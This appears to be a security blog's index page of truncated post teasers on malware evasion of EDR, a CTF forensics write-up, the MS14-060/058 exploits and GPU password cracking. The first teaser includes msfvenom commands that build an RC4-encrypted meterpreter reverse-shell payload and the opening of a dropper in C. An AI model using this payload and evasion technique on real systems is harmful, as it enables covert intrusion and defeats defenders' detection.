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Defending Your Malware

Malware is an important part of an engagement, though as many security solutions are now evolving past rudimentary signature comparisons to using more advanced techniques to detect malicious activity, it is important that we as attackers understand the methods they are using and how we can avoid them. Consider the following code I wrote for example. #include <stdio.h> #include <windows.h> #include <wincrypt.h> #include <tlhelp32.h> /****************************************************************************************************/ // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=4444 -f raw -o meter.bin // cat meter.bin | openssl enc -rc4 -nosalt -k "HideMyShellzPlz?" > encmeter.bin // xxd -i encmeter.bin // x86_64-w64-mingw32-gcc dropper.c -o dropper.exe unsigned char encmeter_bin[] = { 0x6e, 0xdc, 0x5b, 0x2a, 0x59, 0xba, 0x87, 0x64, 0x3e,...

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Ghost In The Shellcode 2015 CTF: Write-up for cloudfs challenge

Hello there, in this post I will describe how I solved the cloudfs challenge of Ghost In The Shellcode 2015. This challenge was under the Forensics category and was awarded 200 points (middle ground!). It wasn't so hard, and someone could argue that shouldn't award the same points with "the alpha molecular" or the similars from the crypto category but it's okay (it's very common actually in...

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LAYER 8 – Patching the un-patchable….

Computer systems and software have been continually evolving year upon year.  Faster processing and data transfer coupled with more accessible storage have made crunching vast amounts of data possible in mere nanoseconds. Computer security and controls have improved as well, we now have intelligent firewalls, web proxies, file integrity monitoring, DLP, IAM and all sorts of amazing new...

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Playing with MS14-060 and MS14-058 [CVE-2014-4113 CVE-2014-4114] : Attacks and Defenses

Recently two 0-day exploits were revealed. The first one was given the name Sandworm, however, the name convention was mistakenly including the "worm" term as we will see. The second one CVE-2014-4113 is a privilege escalation local exploit for Windows. Sandworm as said includes the word  "worm" most likely for making the situation more dramatic. A worm is a self-propagating piece of code that...

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GPU Password Cracking Hype

Ditch the CPU for password cracking even if you have an overclocked Extreme Intel Core i7, they just aren't made for password cracking since they only contain a small number of cores. Instead set your sights on a high powered graphics cards with with the primary aim of finding cards with a high number of cores, for instance the GeForce GTX TITAN Z features a whopping 5760 cores. Imagine the...

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GitHub Activity



1 month ago
Guest to Domain Admin with #Zerologon exploit, apply August patch now! CVE20201472. Hint, hint… patching polices are important.
2 months ago
A new blog post by @_batsec_ on 'Defending Your Malware'. How using offensive API hooking and syscalls can help you to evade EDR solutions monitoring and reporting capabilities.

#infosec #pentesting #redteam #evasion #malware



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